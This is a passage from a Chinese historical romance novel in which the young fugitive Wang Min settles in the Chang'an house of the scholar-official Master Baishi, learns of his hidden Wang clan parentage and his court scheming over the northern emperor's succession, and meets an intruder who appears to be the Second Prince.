我不禁讶呼:“元烈,你,你是胡人!”
18. 第十七章 英雄怕白头
“我父是鲜卑人,我母是汉人,除了白肤碧眼,我的样貌更像是我的母亲。南朝容不下异族,我才不得不用青纱遮掩,并非存心欺瞒。”元烈道。
我点点头,“我明白的。南朝多得是无端屠杀胡人的事,大街上杀了异族人,也不犯法。倒是北朝胡汉杂居,北帝虽为匈奴人,但一心仰慕中原文化,还启用了很多像白石先生这样的汉人,胡汉通婚,和平相处,才会有北朝今日之盛。照我说,大家都是人,天下有汉人,也有胡人,胡汉一家,才是天下归心。”
元烈赞许地看着我,一双碧眼炳如星月。“狸奴说得有理,但也不尽然。胡人骁武,汉人文弱,胡人南徙,可以塞外精悍之血,补中原颓废之躯。但天下,终究还是汉人的天下。汉人之强不在马背,不在弓弩,而在文化。胡人靠杀是杀不尽的,恐怕也杀不过,汉人想要夺回他们的天下,唯有靠融合。胡人没有文字,不懂耕种,所学所用,都是汉人的东西。汉人若能以此融合胡人,继而消融胡人,不分胡汉,才是真正的天下归心。即便有一天,中原由外族人统治,届时也已经是胡汉合流,难分彼此了。外族人会为中原更为先进的文化所折服,因而变成汉人,而汉人的土地也因外族的融入得以扩张。历代君主,皆以武功开疆拓土,但真正长久的,却是文治。”
我似懂非懂地点点头,虽然还不大明白,但也深知此话从一个胡人的嘴里说出来,着实远见。面前的男子,即胡汉之融合,天公造物,尽善尽美。
轻舟夜泊白帝城,白盐山下蜀江阔。元烈端坐船头,对月吹箫,北人歌一曲,南人动乡情。今夜,我身处三国之交,前有刘汉,后有司马晋,身侧一个李成。天下,将是一家之天下,还是天下之天下?
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马车赶着仆仆风尘,终于进入北朝都城。长安高楼多,健马东西街,大雪初晴,市井复又热闹起来。元烈一双碧眼在这里并不算异类,但俊朗风姿,还是卓尔不群。我放下车帘,都说近乡情怯,可不知为何,愈近陌生的西市大司马府,心却愈加忐忑难安。
“狸奴,我们到了。”元烈的声音就像这天,冰凉冰凉的,得不到一丝安慰。虽然我们相处了那么久,他也那样亲昵的称呼我,可我还是感觉,他是存心要在我们之间设立一道无形的墙,让人无法逾越。好像只有寒江之上,为数不多的几个月夜里,他的声音里才有温度。但也许,那是因为江上的天气着实太冷了。
我深深作了一次吐纳,从马车里探出头来,已是一脸笑容可掬。
门房跑出来一个小僮,大约和我一般年纪,浓眉虎目,样子很活泼。他看见元烈,兴高采烈地嚷道:“啊呀,元公子回来了啊,我家大人盼了好多天了!大人这会儿正和苻将军下棋呢,我这就给您通报去。”
我趁机打量了一下大司马府,与乌衣巷里的王谢人家,实在相差得太远。好像只是一座中产的平民府邸,门上的红漆已经大片大片地剥落,头上的木质匾额也已经斑驳了,隐约可辨出“白石草堂”几个字。字体虽瘦,但笔迹精熟。
我正仰着头看,小僮就折返回来,为我们引路。刚跨进门槛,就听见厅堂里有人说话:“叶先生,皇上近日似有意南伐,先生以为如何?”
“辅佐圣上,匡扶天下,同是你我之志。只是南伐……恐怕还不是时候。况且,我一向主张,伐晋之前,必先伐成。南朝有长江、淮河两道天险,从正面进攻,不如从侧面,巴蜀入荆、扬……”说话的声音低沉而轻缓,仿佛心思并不在上头。
“苻某向来佩服先生谋略,只是这回,我不同意先生。四川富庶,李氏兄弟治理有方,如今又招降王牧,白白多出十万雄兵,实力大增。况且,蜀道天险岂不是更难攻克?晋国小皇帝连灭江南两大家族,失去王氏将相,等于自毁长城。如今南朝乱象丛生,此时不灭,更待何时?……哈哈,要说这小儿抢起女人来,还真不手软,没想南朝两大家族,都是毁在女人手里。”
“王、石两大家族倒台,南朝百姓可有怨言?晋室到底还是汉人心中正统,如今上下安和,此时图灭,恐……”王、石两大家族?莫非是石宗山家?我闻言,满心疑惑。
“哈哈,叶先生,你今日下棋怎么心不在焉的,我就不客气了。”我尾随元烈步入厅堂,见一健硕的中年男子正眉开眼笑地从棋盘上提子。虽然身着汉服,但此人高鼻深目,一看便知是胡人。“阿烈回来了?”他注意到门口的元烈,又看到被元烈半掩着的我,抻着脖子上下打量了一番:“叶先生,你说今日有贵客来,看你下棋也没有心思,还当你这老童男终于开了窍,和佳人有约呢。亏得我在这没事找事,赖了这么久,本想看出好戏的,却原来是个小佳人。这小姑娘是谁啊?”男人好像颇为失望。
“苻将军,莫要玩笑。这是故友之女,寄养到我这里……嗯……求学来的。”说话的是个清瘦儒雅的男人,头戴诸葛巾,一身青色的棉布常服,若是再年轻几岁,或许能比我六叔的风采。难道此人就是王碧?我看着他,说不出的百感交集。
“小姑娘求什么学?还要劳动你这个大学士。”胡人男子又从头到脚打量了我一遍,抿着嘴,好象终于明白我为什么要来读书了。女孩子不够漂亮,就只能多读几本书。“罢罢罢,既有贵客来,我就不叨扰了,叶先生记得,你输我一盘棋,改天要请我喝酒的。告辞,告辞了。”他整了整衣裳起身,朝白石先生拱了拱手,走到门口,又朝元烈拱了拱手。我朝他点头一福,他咧开嘴,露出一口大白牙,客气地回了一礼。
我扭头看着他甩着两条袖子离去,分明就是个武夫,却要强做读书人的装扮,这样子,还真是滑稽。苻将军吗,此人,莫非就是北朝四将之一的骠骑将军苻又臣?他跟随北帝多年,深得刘圭倚重,四将中,战功最为显赫。当年北方的小代国和晋室故都洛阳,就是他领军率先攻下的。
苻又臣一步一晃消失在门洞外,元烈收回视线,道:“叶先生,王小姐我带回来了。若是没别的事,我也告辞了。”这就要走?我偷偷拉了拉他的衣摆。他从墨童手里接过一包药,对王碧道:“这个请人煎给小姐吃,开了春,我再来看看。”回头又对我说:“你要有什么事找我,我就住在隔壁的宅子里,但我未必在……”言下之意,似乎是最好不要去找他。语毕,元烈看了看我的手,示意我放开。
我缓缓松开手,他一笑,朝我们拱了拱手,就大步出门去了,好像终于放下一个包袱。
我不得不去正视面前的男子,他年轻的时候应该有不错的相貌,只是,现在已经老了。照说王碧不过四十,老天爷也许是公平的,把本该加诸于我母亲的岁月,全都加诸在他的身上了。他看上去有些紧张,更像是一个不知所措的老人,和传闻里睿智无匹的白石先生大相径庭。也许因为他的忐忑,我才略感安心。
“王敏,”他喊我的名字,声音沙哑,“你是王敏?”见我点头,他又道:“狸奴,你母亲这样叫你?”我又点头,他看了我许久,小心问道:“我也可以这样叫吗?”
“家里人都这样叫我,阿烈也这样叫,以前有位顾先生教我作画,他也这样叫。我既到先生这里来求学,先生就是我的老师,自然也可以这样叫。”我故意加重了“求学”二字,很礼貌地在他面前划清了楚河汉界,他曾经辜负过我的母亲,伤过她的心,如果不是因为家道中落,母亲也是不愿我去亲近这个人的吧。
他勉强笑了一下,难掩失落:“狸奴,你长得真像你母亲……”
他又转眼看向嬷嬷:“阿代……”嬷嬷一直撇着脸,不正眼看他。“阿代,以后你和小姐就住在我这里,我已经找人收拾好了。自从老夫人过世以后,这里就没有住过女眷,倒连个丫头也没有。小姐的起居,你就多担待些。”
“这是自然。”嬷嬷语气生硬。
他又看向我,甚至有些讨好:“狸奴,我带你去看看你的屋子吧,不比你原先住的地方,你要缺少什么,就和我说。”
他是天下闻名的白石先生,面对我这个无亲无故、无权无势的小女孩,怎会表现得近乎卑微?我突然有些心软,他到底没有欠我的,还收留了我。我扁扁嘴,抿了一个笑花。
我和嬷嬷尾随着他,草堂沿路栽种了许多竹,被积雪压弯了腰。大司马府深处,有间独立的小院落,看上去是新修葺过的,可能是这府里最好的房子了。一路上只有为数不多的几个男仆,确实没有见到女眷和丫鬟。
“这是我母亲曾经住过的地方。”王碧道,“她已经过世好多年了,这院子空置许久,狸奴不嫌弃,就和嬷嬷住在这里吧。”
院子中间空无一物,唯有一棵光秃秃的树,这是碧桃,我认得,十里桃叶渡,种的全都是这种树。
“我就住在那里,”王碧朝另一座院落的方向指了指,“我在府里的时候不多,你们要
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有什么事,就和夏生说。夏生就是刚才引你们进来的那个孩子,府里的事多是他在管。若你有急事,他也能找到我……哦,对了,读书,读书……我的院子里还藏了几册书,都很不错,狸奴要有兴趣,就去看看。若是有什么不明白的,可以来问我……”他避开我的眼睛,絮絮地说着,说到最后,仿佛有种期盼,期盼我会去他的院子里读那些书,期盼我有问题可以去问他。
“知道了,叶先生,谢谢你!”我客气答道。他似乎还想说什么,却又没了说辞,只好道:“那……那你们先歇着吧……”
“叶先生。”见他要走,我突然喊住他,他似乎满脸期待,我道:“刚才苻将军说,南朝两大家族……”
王碧转身,点了点头,解惑道:“还有石家,南朝首富石宗山。据说,是为石宗山的一名爱妾,名唤绿萍。石宗山原本已经打算割爱,没想那女子不依,跳楼明志了。南帝却说是石宗山逼死的,就借故抄了石家。”
我想了想,想起元烈在船上对我说的,南朝国库空虚,司马映是绝对不会让王琳烧掉雅园的。所以这次,也绝对不是为绿萍,恐怕为的,还是石宗山家的绿楼吧。
我又问:“我牧哥哥,他是投靠成国了?”
王碧道:“司马映派桓恒去荆州剿灭叛军,这是逼王牧造反,如果不反,就是死。”
“我牧哥哥不会造反!”我坚定道。
王碧眸子一亮:“王牧不反,底下的将士也会逼他反,这已经不是王牧一人之命了。”
“那……他是反了?”我疑道。
“如果反,乌衣巷里王氏一门,全部人头落地。”
“司马映是存心要赶尽杀绝!”我愤愤道。
“对,王家上千口人,反也是死,不反也是死。”王碧捻须沉吟,他的目光如炬,那睿智的光芒,仿佛可以洞察世事,这也许才是白石先生应有的面目,“现如今的情势,不比当年,南朝老皇帝其实早就忌惮王家,一直在暗地里扶持寒门将领,桓恒就是其一。真要是打起来,荆州兵虽勇,却未必能赢,最后南朝一定落得两败俱伤,渔翁得利。王牧性情磊落,也深知其中利害,他是一定不会反的,入川投靠李成,是目前唯一,也是最好的办法。”
“投靠李成,无异于反。那王家……”
王碧深深看了我一眼:“王琰在你出逃当夜就悬梁了,王琳在吉光雅园里自焚而死,还有,你母亲……他们都明白,司马映要灭王家,王家劫数难逃……一些成年男子,桓恒出征之时,都祭了旗……禁卫军一直包围着王府,用木条封死了门窗,里面断水断粮、应该已经很久了,恐怕就连太阳都照不进去……”
我咽了咽口水,不想在他面前流出眼泪来。有些事情我预想过无数遍,但让我无法想像的是,司马映对琅邪王氏之恨竟至于此!士可杀,不可辱,他怎么会用如此残酷的方式去结果南朝最大的士族?
我的声音已有哽咽:“牧哥哥带着这么大一支军队去投靠李成,李氏兄弟怎么会这么爽快地接纳他们?如果这是南帝的苦肉计,李钟李鼎开城之日,就是牧哥哥倒戈之时,岂不是……”
王碧似乎有些惊讶,我还能想到这一步:“这也是我的疑虑所在……”他看了看天,天边的晚霞已经烧了起来,仿佛远处燃起了绵延不绝的战火。“……听说,是青兕先生出山,说动了李氏兄弟……”他的声音拉得很长,仿佛还在思索。我知道,他的疑惑不在李氏兄弟为何会接纳牧哥哥,而在青兕,为何会为此事出山。
“叶先生,你也认得青兕先生?”我问。
王碧摇了摇头:“我这么多年未出长安,实在无缘得见。”
“也许,青兕先生是觉得李成可辅……”我小声道。
“不可能!”王碧立刻出言否定,“当年李钟李鼎兄弟至剑阁,道,刘禅有此地,而面缚于人,岂非庸才!巴蜀固然仓储丰稔,又有山川之险可恃,但得此地者,至多守这三分天下。青兕之志,远非于此!”
“那……叶先生是觉得刘汉可辅?”
王碧闻言,意味深长地看着我,良久,长叹一声:“姜子牙七十而相周,九十而封齐,不是人人都能有如此寿数的。明主难遇,青兕先生已年近古稀,英雄如美人,最怕见白头。或许,这就是答案……”
他那样深切的看着我,眸子渐渐灰暗下来,我低下头,看见他青色的衣摆消失在我的视线里。英雄如美人,最怕见白头,我依稀感觉,这也是白石的答案……
19. 第十八章 桃叶复桃叶
在白石草堂醒来的第一个清晨,院子里又覆了厚厚一层积雪。可惜有雪无梅,只有光秃秃一棵碧桃,了无生趣地横生着枝节。
嬷嬷替我把手上的木片拆了下来,百日已到,无需再绑。手腕失去了倚恃,立刻无力地垂落下来,我努力试着握拳,但纵有浑身力气也使不上劲。我咬咬唇,只能佯装不在意,抖了抖袖子,将左手藏到里面去。
屋子里摆着笔墨纸砚,许久没有动笔了。右手握起笔,蘸墨,本想静下心来好好写会儿字,没想笔尖一触纸,就手不应心地写了一纸今草。笔笔纠结,急就而成,写得杂乱无章,实在看不下去了,才忿然将笔扔出窗外。墨汁在半空中甩出一道弧线,一滴滴落在洁白的雪面上,四散晕染开来。
“小小姐!”嬷嬷忧心忡忡地唤我。我回过脸去,定了定神,笑道:“我们去白石先生那里问个安吧,他到底是我先生,要以师礼待之,不可以不周到。”
嬷嬷似乎有些不情愿,但还是随着我去了。
夏生领着几个仆从在先生的院落里扫雪,一见我,便热情道:“小姐早啊!我家大人一大早就上朝去了。嘱咐我照应着家里的事。大人说了,小姐若有什么需要,只管差遣我;小姐若想吃什么,只管吩咐厨子;小姐若要使钱,也只管跟帐房要;小姐若打算出门,我就跟着……哦,大人的书房在那里……”夏生用手一指,匾额上赫然写着“束高阁”三个字,他继续背书似地向我报告,“大人说,小姐要是有兴趣,里面的书籍可随意翻看……”他见我对那书房似乎没有什么反映,又挑眉弄眼地补了一句:“我家大人对小姐可真是不一般,这书房,就连二殿下来,都不让随便进去呢。”
我不知道这书房到底有什么稀奇的,更不知道这二殿下又是何等样尊贵的人物,只好朝他笑道:“我既是来求学的,那就请小哥哥带我进去看看吧。”
夏生挠了挠头,半张着嘴,好像还有话要与我说,大概是先生出门之前唠唠叨叨交代了许多事,只是他一时想不起来了,只得边捶着脑袋,边为我引路。
白石先生的书房素雅干净,没有过多的摆设,一隅案上有残局未了,我隐约记得,这好像是去年仲秋,母亲和元烈对弈的一局。我缓缓走近,疑似故人曾来,心头百味陈杂。
棋盘边上压着一张字条:吾年幼家贫,为读书,日里带经而锄,夜间萤囊映雪,焚膏继晷,不以为苦。今幸有藏书百城,却无少暇,无奈束之高阁。望狸奴代为读之。白石。
先生的字虽瘦,但有古风,甚至,还能咀嚼出几分王家先祖的味道。我端详许久,左手的手腕又隐隐生出痛来。
绕过几只顶梁的书架,才发现束高阁里面曲径通幽。书房是连着打通的好几间屋子,曲曲折折向内延伸,比外观看上去的大了许多。两旁木架子上满是古籍善本,藏书之盛,以我昔日在南朝所见,盖莫能比。我随手抽取一本,牵连出淡淡芸香,缃帙为套,书页空白处,还有不少白石先生的墨迹。我“噗哧”笑出声来,这字还真有几分像他本人,细长高挑,虽瘦却不失其肉。
我拂去封面上的薄尘,将书摆放回去,示意夏生继续带路。这书房九曲十八弯,若没个熟悉的人指领,还真是要迷路的。最后我们从另一个门走了出去,眼前就是我居住的桃园。夏生说:“束高阁一共两个出入口,里面的书架陈设是大人按照九宫八卦阵所建,一般人进去都会迷路,小姐下次再去,记得喊上我。”
我点头称谢,才发现桃园边上有间小屋,门庭前的积雪已经扫净,大白天的,还有隐隐烛火,好像有人在此居住。“那里面住的是谁?”我问。
夏生顺着我指得方向看去,答道:“没人住,里头供奉了老夫人的牌位,大人常来祭奠。”
“嬷嬷,我们寄住在先生家里,也该去给老夫人上柱香吧?”我道。
嬷嬷似乎有些犹豫,但还是点了点头。我看向夏生,夏生使劲挠着头皮,好像还在寻思,先生出门的时候,到底有没有交代过这件事。大概最后也没有想起来,只好咧着嘴笑道:“那小姐就请吧。”
屋子很小,打扫得纤尘不染,供台上摆放着新鲜的瓜果,一盏长明灯幽幽地燃烧着。案上的亡疏没有冠夫姓,是先生的字迹,只写着:先妣叶氏讳桃儿之灵位,不肖子叶白石。
叶桃儿?我喃喃默念,好熟悉的名字,曾几何时,是听到过的……
“桃叶复桃叶,桃树连桃根。相怜两乐事,独使我殷勤。桃叶复桃叶,渡江不用楫。但渡无所苦,我自迎接汝……”我不禁在心里哼唱起这首曲子,连带这个名字也被我从尘封的记忆里翻拣出来。这是十里桃叶渡最脍炙人口的曲子,相传是我祖父游历此处时为新纳的姬妾叶桃儿所作。但我从未信过这捕风之词,因我从未听过,王府中曾有女眷,名唤叶桃儿。
我一脸疑惑看向嬷嬷,嬷嬷神色凝重,朝我点了点头。
我默默在袖子里写下一个“碧”字,原来如此!大伯王琰、二伯王琨、爹爹王珲,六叔王琳……我父辈的人名字中间皆有一个“王”字。王碧,原来是我琅邪王氏人!
只是士族人家,门风甚严,即便纳妾,也必是清白人家的女儿。叶桃儿,曾经在秦淮河边、桃叶渡口迎来送往的风尘女子,是决计进不了王家大门的,包括她生的孩子。
夏生燃了三柱香向我递来,我默默接过,恭敬礼拜。虽然勉强维持着面子上的波澜不惊,心中却早已翻江倒海。王碧,如今的白石先生,非但已经改换母姓,就连名字里的半边“王”字也要一并舍弃,他对琅邪王氏之态度,已经可见一斑。
日后,我又该以何面目来待他?
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我夜里再去问安,白石先生依旧未归。后来我才知道,他的公务繁忙,很少有时间回来。北帝恐他辛劳,还特意为他在上朝的太极殿一侧准备了下榻之所。
西市光德坊临近皇宫,本是长安繁华地,高楼广厦,鳞次栉比,住的皆是高官贵胄。先生的草堂于此处,真是有些格格不入。只有隔壁元府,倒是柳门竹巷,野草青苔,与之相得益彰。我本就不爱热闹,久而久之,也就渐渐习惯了白石草堂里大隐于市的生活。
平日里,我只着青
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裙素衣,极少出门,更不再练字。倒是常常跑去束高阁,去的次数多了,也就慢慢摸清了书房里的路线,不需劳动夏生再为我带路。
书房里藏有不少拓本,还有一些都是极为珍贵的孤本,我总是倚靠在书架边,一坐下来便日旰忘食。有几次,都是夏生领着嬷嬷来寻,以为我在里面走迷了路。除了金石拓本,我偶尔也会翻上几页书,只是我看书全凭喜好,只拣字写得好的来看。算下来倒也读了不少,但大多都是囫囵吞枣,不求甚解。
每隔七日,药铺里都会有人来送药,说是西市光德坊的元公子嘱咐的。这事白石先生也知道,他既默许了,便是肯定了元烈的医术,一天两顿药,我也就放心地喝了。
为表谢意,年节前我上门去拜访过一次,但元府里的看门人说,他又出游去了,估摸着三月里才能回来。
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转眼快到新年,离开乌衣巷的第一个除夕夜,外面又下起了大雪。南朝之雪,可比撒盐,可比柳絮,北国之雪却是迥然不同的,一瓣瓣大如鹅毛,我从来也不知道雪花会是这么漂亮的图样。只可惜一落到地上,便是云泥殊路。
今夜,北帝会在皇宫里大宴群臣,我想白石先生是不会回来的。一年岁又除,我挑灯倚枕,找了些书来消磨,尽量不要让自己想起这是一个多么特别的日子。岁尽年末,清夜迢迢,对我这样一个离乡背井的人来说,不过徒增伤感罢了。
前几天夏生领来一个裁缝,说是大人特地关照的,给我做几身新衣。我与白石先生见面的时间不多,虽然喊他先生,但他好像从来也不过问我的功课,倒是常常关心一些生活琐事。与我来说,不像是严师,而更像慈父。
前尘往事虽成追忆,偶尔思量,还是历历恍如昨日。我心里是感激他的,但有些事情,事关双亲,我便难以放下,故也只能允许自己,以先生相称,以师礼相待。
嬷嬷在一旁做着针线,即便送来的新衣已经上身,她还是觉得只有她为我做的才是最好的。我的心思不在书卷上,焰细灯将尽,她的身形日渐佝偻,扭伤的脚也始终没有好透,在这样大风大雪的天气里时常要犯酸痛。今夜共烛光,对面白头人,灯下缝衣裳,两鬓已苍苍。嬷嬷真的老了,耳背眼花,针脚不复当年,脾气也越来越执拗。我仿佛感觉,身边所有与我亲近的人都在以不同的方式离我远去,如同手中攥着的流沙,永是流逝,想要去抓紧它时,反而流得更快了。
所以,有些人,我更加不敢再去亲近。
忽闻有人推门踏雪,嬷嬷没有反应,我侧耳去听。窗台下,响起了夏生清朗的声音:“小姐,大人回来了。让我来问一声,小姐歇了没?”
“还没,先生有事吗?”才过戌时,宫里的夜宴应该还没有结束。
“大人吩咐厨子做了几道江南小菜,问小姐,可愿去坐坐,一同围炉守岁。”
我应了一声,本想喊上嬷嬷,但她不愿去,推说要休息。我不愿勉强她,披了件斗篷,独自随夏生去了。
20. 第十九章 一年岁又除
夏生一手提着风灯,一手为我掌伞。草堂沿路都是乔松和翠竹,除了我院子里栽有一株碧桃,先生似乎更偏爱常青之物。穿过廊屋,雪势不止,庭燎已灭,只有厅堂里一盏青灯,一只泥炉,隐隐火光将他日渐消瘦的身影映在墙上,照得越发细长。半月不见,他的两鬓如雪霜浸染,又新添了许多憔悴。
先生见我冒雪前来,面有欣喜,微微欠了欠身。待我抖落一身雪沫,问安坐定,他便从小炉上取下已经温热的酒,斟了浅浅一盅朝我递来:“狸奴,除岁之夜,陪先生吃杯酒吧,但愿一杯能了一年愁。”
我平时不吃酒,除了年年守岁,母亲才准我喝上一些,喝的就是这种屠苏酒。我接过杯盏,见先生一饮而尽,也随着轻啜了一口。酒味辛辣,不是我所喜欢的味道,但这酒气里混合的浓浓药香却让人倍感舒适而稳妥。我不再喝它,只是将酒盏捧在手心里取暖,又不时放在鼻尖下细细品嗅。
食案上有一盘鲈鱼,是江南名烩,虽不复秋末冬初时候的肥美,也没有莼菜相佐,但这鱼,能在寒冬腊月、异国他乡里吃到,也实属不易。先生夹了鱼腹上一块无刺的肉,送到我的盘子里:“听夏生说,狸奴近来都在书房里,可读了些什么书啊?”只是一句简单的开场白,他似乎也斟酌了许久。
书是读了不少,但都读得仓促,想来是经不起考问的。我吐了吐舌头,岔开话题:“先生近来都不回家,是公务繁忙吧?”我与先生见面的时间不多,能对面读书,同桌而食的次数更是有限,每每有这样的机会,我都喜爱听他畅谈古今之变。先生识明智审,是我所钦佩的,只有在他洋洋洒洒论列功过是非、存亡兴替之时,才是我心目中睿智无匹的白石先生。我不愿见他在我面前小心翼翼的样子,那只会让我想起,他曾经辜负过我的母亲。
先生涩涩一笑,似乎看穿我的心思,又沉吟许久,蹙眉抬首道:“狸奴,你来长安一路上,阿烈……他可曾向你提起过青兕?”
没想青兕先生为我牧哥哥出山一事始终困扰着先生。先生曾经提过,华夏一统,莫不是由北向南,现如今看来,只有北帝是最有可能受此天命的。但欲攻下司马晋,必先伐下李成。北朝铁骑骁勇,却不懂水战,从巴蜀入荆、扬,总好过直面淮河、长江两道水险。这道理,青兕先生不会不明白。青兕先生若真以天下归心为己志,又为何会出手相助李成?难道他会比当年诸葛卧龙技高一筹?
我细细回想了一下,元烈虽提起过青兕,但似乎并没有什么要紧的话,只好模棱两可地摇了摇头。
“今上已决议南伐,我曾力劝,无奈朝中无人响应……”先生又问,“此事,狸奴如何看?”
北帝刘圭乱我中华,是我汉族仇人,南帝司马映过河拆桥,是我王家仇人。现如今的情势,诸国分封,尤以此二人实力最为强大。可分久必和,才是大势所趋,若我能撇得开这些恩怨,谁才配做这天下正主?我只能继续摇头。
先生啜了口酒,似有忧心:“南伐还不是时候,北帝也算一世英雄,可惜生不逢时。他也已经老了,经不起等……
北帝曾是匈奴左贤王之子,在八王一后之乱中趁势壮大,胡人南侵时,以他的实力最为强大,后来北方的大部分土地都一一为他所占据。他入主中原后,倾心汉化,用人无论出身,不拘一格,北朝有今日之盛,狸奴也看见了。可惜,北帝有帝王志,却无帝王命……
过去,汉室曾有大量公主远嫁匈奴,匈奴人仰慕中原文化,和亲之后,一直自称是高祖外戚。北帝入主中原后,遂放弃匈奴姓氏,改为‘刘’姓,遥尊后主刘禅,国号也为汉。可无论怎样为自己正名,到底还是外族人,一时是无法为汉人所接受的。大汉之后,三国分封,当年晋武帝是欺人孤儿寡母,靠篡位才得到曹魏的江山社稷。但在汉人的心目中,司马晋却是曹魏一脉所承,是天下正统。
兵家之争,天时地利固然重要,但人和才是关键。司马映剿灭南朝两大家族,在苻又臣、石福等人看来是自毁长城,但实则是铲除了南朝门阀制度的弊端,又以抄家之财充盈了国库。高门士族无法再凭借出身垄断朝廷高位,真正有学识的寒门子弟就得到了机会。国库充盈,百废待兴,经济得以发展,百姓就看到了希望。现如今的北朝,天时地利人和,一样也不占,所以此时,是万万不可贪功冒进的。”
我默默倾听,先生言辞之间,仿佛也在为他当年叛国做着解释。“知道为什么北帝至今不立太子?”他自斟自酌,自顾说着,似乎并不期望我的回答,“匈奴人的规矩,杀母立子。北帝有两个儿子,大皇子刘鹏为皇后所生,二皇子刘翀为爱妃所生。皇后是匈奴贵族之女,十几岁的时候就跟着他,东征西战,几次危难时刻,都不曾离弃,可算患难与共。拓拔王妃是昔日小代国的公主,倾城之貌,不输你的母亲……”先生顿了一下,似在思索。我依稀记起,刘圭宠妃之绝色,顾先生也曾经提起过。
白石先生继续道:“二十几年前,武帝尚在。今上已经在北边不声不响地培植起自己的势力,向外开拓疆土了。苻又臣攻下代国国都云中时,曾有人力劝陛下斩草除根……没想代国皇帝献上族妹,就是如今的拓拔王妃……代国皇帝因此,非但免于一死,陛下还将代国之地归还于他,并将其册封为代王。
北帝是性情之人,一个是结发之妻,一个是嬖宠之妾,与情于义,他一个也不愿意杀,此事才拖到今日……这是一个帝王的致命伤。”
“北帝既然不排斥汉人的做法,先生可劝他放弃陈规陋习,立子,未必要杀人啊……”我心中哀叹,女子,难道只能沦为男人们纵横与延续香火的工具?
“太子为国之根本,为固国本,南伐之前必先立下储君。这在朝臣中已达成共识,其中利害,陛
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下也很清楚。有些汉臣也知道陛下的心思,上疏表示不必遵循旧制……但我却极力反对,我道,杀母立子,是汉武帝定下的规矩。母壮子少,才会有后来的外戚掌权、宦官当道,这就是前汉衰败之因。陛下既然继承的是汉室江山,又岂可废弃祖宗家法。
我知道他一时还下不了决心,我逼他立嗣,并非真想见他杀妻,他如果犹疑不决,便可拖延南伐……如若他真肯立嗣……”
没了外戚宦官,难不成,他还想以辅国之名操纵皇子?江山社稷,男人看得太重,先生为理想钻营至此,我突然觉得,母亲没有和他在一起,是她的幸运。
我想了想:“先生是愿意北帝立二皇子吧?”我已是无家无国之人,谈起他朝事务,也就不再避讳。我是后来从夏生处听闻的,他嘴里的二殿下即拓拔王妃所生的二皇子刘翀,也是北朝四将里最为年轻的一个,武功过人,书却读得差。北帝特地指定白石先生为其少傅,想收收他的心,长长他的学问。如此情形下,老师向着学生,也是天经地义。
先生又倒了一杯酒,仰脖饮尽:“二殿下继承了北帝的性情,这样的人,可成霸业,却难成帝业……”
“那先生是看好大皇子了?大皇子为嫡长子,继位倒是名正言顺。”
先生不语,只顾喝了一口酒,然后又摇了摇头……
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一夜剪烛到天明,我没想到先生会那么信任我。军国大事,他今夜说了不少,说到激动处,甚至出言不逊,我若去告发,条条都能治他死罪。
家事,他却再不提只字,仿佛这是比揣测皇帝立谁为嗣更加不能碰触的禁忌。
天光渐亮,案上羹残炙冷。我道:“先生一夜无眠,还是补个觉吧。”
他却唤夏生端来一盆冷水,浸了把脸,挥去满面倦容,复又神采奕奕地说道:“狸奴,你去歇息吧。虽是年节,但国事一日不可废,我还要进宫去。”
“先生……”我见他要走,唤道,大过年的也不能休息,见他这样鞠躬尽瘁,心里竟有一些担忧。
他回身看我,微微笑道:“年年佳节,都是我一个人,难得有狸奴陪我过除夕呢,看我人老话多,说了一夜。狸奴,你快去歇歇吧。”我点头,他复又往外走,才到门口,似乎想起什么要紧的事,回过头,肃然道:“狸奴,你切记,不要让外人知道你是琅邪王氏人,更不能让人知道你是南谢之女,切记!”
我是南朝逃犯,先生是怕我在北朝也有危险?抑或,先生是怕人说他私通敌国?“我明白的。”我点头道。
他似乎还有话讲,忽然黯淡的眸子里分明在说,你并不明白。但最后,他还是选择一言不发,转身离去了。
21. 第二十章 书有颜如玉
一觉醒来,不觉斜日晚。嬷嬷倒头睡在一侧,鼾声如闷雷。我蹑手蹑脚爬起床,拿走她手里还未做完的针线,替她盖上棉被。窗外雪晴春欲来,可怜眼前人渐老。嬷嬷近来益发糊涂了,常常错唤我“小姐”,也不自知。
我推门出了院子,夏生道,先生还没有回来,估摸着他这一入宫,又要十天半月。我随意吃了些东西,就只身往束高阁去了。
书房的门半掩着,我轻推了一下,还疑心是昨日出门时忘记关好了。里面漆黑一团,我点了一盏灯,摸索着往拓本处去。绕过几只顶梁的书架,没想里面已经有人在,正举着火折子翻书。那身形……是阿烈?我疑心他怎么来了,走得更近些,刚想脱口叫他,才发现是个陌生人。书散落了一地,看这样子,分明不是先生的朋友,难道会是细作,来查抄先生的罪证?
我被自己的想法吓了一跳,刚想返身去叫人,却被他发现。只见那人眼疾手快,一下子就窜到我身后,捣住了我的嘴。去年被人绑架,所受伤害还是记忆犹新,我害怕起来,用尽全力挣扎。可那人身形高大,死死将我圈在怀里,但所用之力却是恰到好处的,即不能让我逃走,手下也留了几分小心。
“姑娘,你别乱动,我手里没数,当心弄伤你。”他在我耳边说话,吐出来的暖气吹开我两鬓的碎发,热热痒痒的,声音仿佛也很熟悉。“你莫怕,我不是坏人,你若不喊叫,我就放开你。”
我定下心神,点了点头。他试探地放松了手,见我不再反抗,才慢慢绕到我眼前。
“姑娘,你不认识我?”来人笑道。
他莫名出现在别人家里,还奇怪别人怎么不认识他?我借着烛火上下打量他,是一个十七、八岁的少年,穿着一袭窄袖胡服,这身打扮,倒适合做贼。我举高手中的烛台,再细看一眼,原还以为南朝乌衣巷里潘安多,没想到却是北朝光德坊里更胜一筹。一个元烈已经惊为天人,如今眼前又多出一个如画少年。元烈之美,如同九天神祗,拒人于千里之外,让人不敢逼视。眼前的少年却不同,疏眉朗目,齿白唇红,如同一个逾墙而来的邻家哥哥,亲切得仿佛春风拂面。即便知道他是贼,也不觉得害怕了。见他五官倒有些汉人模样,可看他肌肤如练,也知道他和元烈一样,是个外族人。
“大司马府里的人都认得我。”他补充一句,我摇摇头,确定不认识他。“姑娘,你是谁?我怎么从没见过你?”他将灯台放在架子上,继续翻书,那样子一看就不是爱书之人。
“你是谁?先生的书房,谁准你进来的?”我凶道,他倒会反客为主,问起我来了。
他停下来,开始好奇地打量我,片刻,讶道:“老头子年近四十了,至今不娶,除了已经过世的老夫人,家中从未有过女眷……你你你……不会是我未来的师母吧?这老头子,也……也……太会吃嫩草了!”
“呸!”我啐道,“我是来此处求学的,你嘴里的老头子,是我先生!”
少年垮下肩来,一脸皮笑:“如此我就放心了,原来是小师妹。”他凑得更近些,弯腰盯着我瞧。
我后退一步,绕过他,去拣地上散乱的书。师妹?我转念一想,暗自吃了一惊,抬头疑道:“你……你是二殿下?”
